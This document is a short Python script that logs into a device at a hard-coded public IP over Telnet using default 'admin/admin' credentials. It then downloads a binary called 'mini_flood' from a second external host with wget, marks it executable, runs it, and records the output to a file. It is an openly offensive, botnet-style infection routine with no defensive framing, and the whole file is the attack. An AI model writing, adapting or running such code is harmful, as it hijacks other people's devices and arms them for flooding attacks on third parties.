import socket, time

def try_device(ip, port, user, passwd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, port))
    time.sleep(1)
    data = s.recv(4096).decode(errors="ignore")
    if "login" in data.lower():
        s.send((user+"\r\n").encode())
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
    if "password" in data.lower():
        s.send((passwd+"\r\n").encode())
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
    try: s.recv(65536)
    except: pass
    return s

def cmd(s, c, wait=2):
    s.send((c+"\r\n").encode())
    time.sleep(wait)
    r = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk: break
            r += chunk
    except: pass
    return r.decode(errors="ignore")

# Test on 45.139.50.126
ip = "45.139.50.126"
try:
    s = try_device(ip, 23, "admin", "admin")
    # Deploy
    r = cmd(s, "wget -q -O /tmp/f http://167.148.195.3/mini_flood", 12)
    open("/tmp/exec_result.txt","w").write("WGET: " + r.strip()[:100])
    # Check file
    r = cmd(s, "ls -la /tmp/f")
    open("/tmp/exec_result.txt","a").write("\nLS: " + r.strip()[:100])
    # chmod
    cmd(s, "chmod +x /tmp/f", 1)
    # Try exec
    r = cmd(s, "/tmp/f 2>&1", 3)
    open("/tmp/exec_result.txt","a").write("\nEXEC: " + r.strip()[:200])
    s.close()
except Exception as e:
    open("/tmp/exec_result.txt","a").write("\nERR: " + str(e)[:100])
